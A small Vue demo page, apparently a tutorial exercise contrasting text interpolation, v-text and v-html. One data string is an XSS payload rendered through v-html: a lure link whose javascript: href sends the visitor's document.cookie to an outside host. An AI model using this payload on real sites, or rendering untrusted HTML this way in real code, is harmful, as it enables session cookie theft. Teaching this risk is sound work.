<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>vue</title>
    <script type="text/javascript" src="../../js/vue.js"></script>

</head>
<body>
    <div id="root">
        <div>{{name}}</div>
        <div v-text="name"></div>
        <div v-html="str"></div>
        <div v-html="str2"></div>
    </div>

    <script type="text/javascript">
        Vue.config.performance = false;
        const vm = new Vue({
            el:'#root',
            data:{
                name:'hello',
                str:'<h5>hello</h5>',
                // str2:'<a href=javascript:alert(1)>点击获取资源</a>',
                str2:'<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>点击获取资源</a>',
            },
        })

    </script>

</body>
</html>